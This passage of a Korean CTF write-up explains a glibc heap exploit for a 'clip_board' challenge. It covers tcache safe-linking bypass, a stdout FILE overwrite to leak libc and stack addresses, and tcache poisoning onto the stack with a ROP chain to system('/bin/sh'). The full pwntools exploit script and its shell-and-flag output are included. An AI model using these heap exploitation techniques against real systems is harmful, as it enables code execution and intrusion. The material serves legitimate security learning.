  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))    // ** Encode pointer **
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)  // ** Decode pointer **

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  e->key = tcache;
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);  // ** Encode pointer **
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);   // ** Decode pointer **
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}
  • 따라서 tcache entry에 연결된 chunk->next를 덮어쓸 때 chunk 주소의 상위 비트와 xor 후 저장해주어야 한다.
target_addr = environ
chunk2_payload = b''
chunk2_payload += b'a' * 0x10 
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)

(2) stack address leak

  • rip control을 위해 stack에 존재하는 main() 함수의 return address overwrite을 목표로 한다.
  • 이를 위해서는 stack address leak이 선행되어야하므로, libc 내 stack address를 포함하고 있는 environ 전역변수 주변에 chunk를 할당하여 stack address를 leak 한다.

python

# allocate chunk2 with size 0x60 (0x71)
target_addr = environ
chunk2_payload = b''
chunk2_payload += b'a' * 0x10 
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)

add(5, 0x60, chunk2_payload)
add(2, 0x10, b'c')

tcache status

(0x20)   tcache_entry[0](1): 0x7ffff7e221f0
(0x110)   tcache_entry[15](1): 0x5555555592d0

(gdb) x/4a 0x7ffff7e221f0
0x7ffff7e221f0 <labels>:        0x0     0x0
0x7ffff7e22200 <environ>:       0x7fffffffe058  0x0

python

add(6, 0x10, b'A')   # libc address allocated

print(hex(target_addr))
leaked3 = view(6)
stack_addr = u64(leaked3[0:8])
print('stack_addr : ', hex(stack_addr))

tcache status

(0x20)   tcache_entry[0](0): 0x7ffff7e22 (unaligned tcache chunk)
(0x110)   tcache_entry[15](1): 0x5555555592d0

2.8. stack memory allocation (return address overwrite)

  • stack address까지 획득했으므로, 마지막 rip control을 위해 main() 함수의 return address 주변에 chunk를 할당하고 system("/bin/sh")를 호출한다.
  • libc 주소는 이미 알고 있기 때문에, libc 내에 있는 system() 함수와 "/bin/sh" 문자열을 사용하여 system("/bin/sh")를 호출했다.

python

# allocate chunk2 with size 0x60 (0x71)
chunk2_payload = b''
chunk2_payload += b'a' * 0x10 
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(0) + p64(0)
chunk2_payload += p64(0) + p64(0x61)
chunk2_payload += p64(stack_addr^(chunk4_start >> 12)) + p64(chunk3_key)
print(hex(chunk4_start))

add(5, 0x60, chunk2_payload)

last_payload = b''
last_payload += p64(ret) * (0x30 // 8) 
last_payload += p64(pop_rdi) 
last_payload += p64(binsh) 
last_payload += p64(system)

add(1, 0x50, b'good')

tcache status

(0x20)   tcache_entry[0](0): 0x7ffff7e22 (unaligned tcache chunk)
(0x60)   tcache_entry[4](1): 0x7fffffffdf30 --> 0x7fffffffc (unaligned tcache chunk)
(0x110)   tcache_entry[15](1): 0x5555555592d0

python

add(7, 0x50, last_payload)

stack memory status

0x7fffffffeda0: 0x7ffff7d1499a  0x7ffff7d1499a
0x7fffffffedb0: 0x7ffff7d1499a  0x7ffff7d1499a
0x7fffffffedc0: 0x7ffff7d1499a  0x7ffff7d1499a
0x7fffffffedd0: 0x7ffff7c2a3e5  0x7ffff7dd8698
0x7fffffffede0: 0x7ffff7c50d60  0x0

2.9. return

  • 마지막으로 rip 컨트롤을 위해 main() 함수가 return 하도록 4번 메뉴인 exit 기능을 사용한다.

python

def finish():
    ru(b'> ')
    ss(b'4')   

finish()  
s.interactive()

3. Exploit

3.1. exploit.py

  • 전체 exploit 코드는 아래와 같다.
#!/usr/bin/python

from pwn import *

def add(idx, size, content):
    ru(b'> ')
    ss(b'1')
    ru(b'index > ')
    ss(str(idx).encode())
    ru(b'size > ')
    ss(str(size).encode())
    ru(b'contents > ')
    ss(content)

def delete(idx):
    ru(b'> ')
    ss(b'2')
    ru(b'index > ')
    ss(str(idx).encode())

def view(idx):
    ru(b'> ')
    ss(b'3')
    ru(b'index > ')
    ss(str(idx).encode())
    res = ru(b'1. Add clipboard').replace(b'1. Add clipboard', b'')
    return res

def reset_stdout_ptr():
    add(9, 255, b'asdf')
    delete(9)

def finish():
    ru(b'> ')
    ss(b'4')    

libc = ELF('./libc.so.6')
s = process('./clip_board', env={'LD_PRELOAD':'./libc.so.6'})
#s = remote('43.201.64.101', 8888)
ru = s.recvuntil
rr = s.recv
rl = s.recvline
ss = s.send
sl = s.sendline

ru(b'heap leak: ')
heap_leak = int(rl().strip(), 16)

add(1, 255, b'asdf')
add(-5, 255, b'asdf')

leaked = view(-4)
libc_base = u64(leaked[8:16]) - 0x21a803

binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system'] 
tcache_key = libc_base + 0x2204d8

io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
environ = libc_base + 0x221200
main_arena = malloc_hook + 0x10
ret = libc_base + 0x11499a

print('main_arena : ', hex(main_arena))
print('malloc_hook : ', hex(main_arena))
print('heap_leak : ', hex(heap_leak))
print('libc_base : ', hex(libc_base))
print('_IO_file_jumps : ', hex(io_file_jumps)) 
print('environ: ', hex(environ))

delete(1)

reset_stdout_ptr()

add(4, 0x10, b'a')  # chunk1
add(5, 0x10, b'bbbbbbbbA')  # chunk2
add(6, 0x10, b'ccccccccA')  # chunk3
add(7, 0x10, b'ddddddddA')  # chunk4

chunk1_start = heap_leak+0x250
chunk2_start = chunk1_start + 0x20
chunk3_start = chunk2_start + 0x20
chunk4_start = chunk2_start + 0x40

def stdout_overwrite(target_addr, target_size):    
    payload = b''
    payload += p64(0xFBAD0000)
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_ptr
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_end
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_read_base
    payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_base
    payload += p64(target_addr)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_ptr
    payload += p64(target_addr+target_size)#libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_write_end
    payload += p64(libc_base + (0x7f53dac1a803 - 0x00007f53daa00000)) # _IO_buf_base
    payload += p64(libc_base + (0x7f53dac1a804 - 0x00007f53daa00000)) # _IO_buf_end

    payload += p64(0)   # _IO_save_base
    payload += p64(0)   # _IO_backup_base
    payload += p64(0)   # _IO_save_end
    payload += p64(0)   # _IO_marker
    payload += p64(libc_base + (0x7f53dac19aa0 - 0x00007f53daa00000)) # _IO_chain
    payload += p64(1)   # _fileno
    payload += p64(0xffffffffffffffff)  # _old_offset
    payload += p64(0xa000000)
    payload += p64(libc_base + (0x7f53dac1ba70-0x00007f53daa00000)) # lock
    payload += p64(0xffffffffffffffff)
    payload += p64(0x0)
    payload += p64(libc_base + (0x7f53dac199a0 - 0x00007f53daa00000))
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0xffffffff)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(io_file_jumps)
    '''
    gdb-peda$ x/a &stdout
    0x55bc670c1020 <stdout@GLIBC_2.2.5>:    0x7f53dac1a780 <_IO_2_1_stdout_>
    gdb-peda$ x/50a 0x7f53dac1a780
    0x7f53dac1a780 <_IO_2_1_stdout_>:       0xfbad2887      0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a790 <_IO_2_1_stdout_+16>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7a0 <_IO_2_1_stdout_+32>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7b0 <_IO_2_1_stdout_+48>:    0x7f53dac1a803 <_IO_2_1_stdout_+131>   0x7f53dac1a803 <_IO_2_1_stdout_+131>
    0x7f53dac1a7c0 <_IO_2_1_stdout_+64>:    0x7f53dac1a804 <_IO_2_1_stdout_+132>   0x0
    0x7f53dac1a7d0 <_IO_2_1_stdout_+80>:    0x0     0x0
    0x7f53dac1a7e0 <_IO_2_1_stdout_+96>:    0x0     0x7f53dac19aa0 <_IO_2_1_stdin_>
    0x7f53dac1a7f0 <_IO_2_1_stdout_+112>:   0x1     0xffffffffffffffff
    0x7f53dac1a800 <_IO_2_1_stdout_+128>:   0xa000000       0x7f53dac1ba70 <_IO_stdfile_1_lock>
    0x7f53dac1a810 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0
    0x7f53dac1a820 <_IO_2_1_stdout_+160>:   0x7f53dac199a0 <_IO_wide_data_1>       0x0
    0x7f53dac1a830 <_IO_2_1_stdout_+176>:   0x0     0x0
    0x7f53dac1a840 <_IO_2_1_stdout_+192>:   0xffffffff      0x0
    0x7f53dac1a850 <_IO_2_1_stdout_+208>:   0x0     0x7f53dac16600 <_IO_file_jumps>
    gdb-peda$ vmmap libc
    Start              End                Perm      Name
    0x00007f53daa00000 0x00007f53daa28000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53daa28000 0x00007f53dabbd000 r-xp      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dabbd000 0x00007f53dac15000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dac15000 0x00007f53dac19000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6
    0x00007f53dac19000 0x00007f53dac1b000 rw-p      /usr/lib/x86_64-linux-gnu/libc.so.6
    '''
    add(-4, len(payload), payload)
    reset_stdout_ptr()

stdout_overwrite(chunk1_start - 8, 1)   # chunk1->size = 0x31
print('overwrite heap chunk', hex(chunk1_start - 8))
add(2, 0x10, b'dummy')  # chunkx

# chunk1 to tcache (size : 0x31)
delete(4)

# overwrite chunk2 header
chunk1_overflow = b'a'*0x10 + p64(0) + p64(0x71) 
add(4, 0x20, chunk1_overflow)

delete(2)   # dummy (for tcache count)
delete(6)

# chunk2 to tcache (size : 0x71)
delete(5)

# allocate chunk2 with size 0x60 (0x71)
chunk2 = b'b'
add(5, 0x60, chunk2)

leaked2 = view(5)
chunk3_enc_ptr = u64(leaked2[0x20:0x28])
chunk3_key = u64(leaked2[0x28:0x30])
chunk3_dec_ptr = (chunk3_start >> 12) ^ chunk3_enc_ptr
print('chunk3_enc_ptr', hex(chunk3_enc_ptr))
print('chunk3_key', hex(chunk3_key))
print('chunk3_dec_ptr', hex(chunk3_dec_ptr))

# chunk2 to tcache again (size : 0x71)
delete(5)

# dummy 
add(3, 0x50, b'dummy')   

# allocate chunk2 with size 0x60 (0x71)
target_addr = environ - 0x10
chunk2_payload = b''
chunk2_payload += b'a' * 0x10 
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(target_addr^(chunk3_start>>12)) + p64(chunk3_key)
chunk2_payload += p64(0) + p64(0x61)

add(5, 0x60, chunk2_payload)
add(2, 0x10, b'c')
add(6, 0x18, b'A')   # libc address allocated

print(hex(target_addr))
leaked3 = view(6)
stack_addr = u64(leaked3[0x10:0x18]) - 0x88 - 0xa0
print('stack_addr : ', hex(stack_addr))
delete(3)
delete(7)
delete(5)

pop_rdi = libc_base + 0x000000000002a3e5

# allocate chunk2 with size 0x60 (0x71)
chunk2_payload = b''
chunk2_payload += b'a' * 0x10 
chunk2_payload += p64(0) + p64(0x21)
chunk2_payload += p64(0) + p64(0)
chunk2_payload += p64(0) + p64(0x61)
chunk2_payload += p64(stack_addr^(chunk4_start >> 12)) + p64(chunk3_key)
print(hex(chunk4_start))
add(5, 0x60, chunk2_payload)

last_payload = b''
last_payload += p64(ret) * (0x30 // 8) 
last_payload += p64(pop_rdi) 
last_payload += p64(binsh) 
last_payload += p64(system)

add(1, 0x50, b'good')
add(7, 0x50, last_payload)
finish()

s.interactive()
s.close()

3.2. Run

  • exploit.py을 실행하면 아래와 같이 문제 서버의 쉘을 획득할 수 있다.
$ python exploit.py
main_arena :  0x7f13dea764b0
malloc_hook :  0x7f13dea764b0
free_hook :  0x7f13dea764a8
heap_leak :  0x558942cb72a0
libc_base :  0x7f13de856000
_IO_file_jumps :  0x7f13dea6c600
environ:  0x7f13dea77200
overwrite heap chunk 0x558942cb74e8
chunk3_enc_ptr 0x558c1a5f5ad7
chunk3_key 0xe98b3a6a24a31296
chunk3_dec_ptr 0x558942cb7660
0x7f13dea77200
stack_addr :  0x7ffd62d2bb41
0x558942cb7550
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag
whitehat2023{3ac97da0281ba8e733cac700ba7015604797113b5e147db5f136db166b6d93808ad41a4b56bd1b036b2d7b5c5d9982a6af38fd}

Flag : whitehat2023{3ac97da0281ba8e733cac700ba7015604797113b5e147db5f136db166b6d93808ad41a4b56bd1b036b2d7b5c5d9982a6af38fd}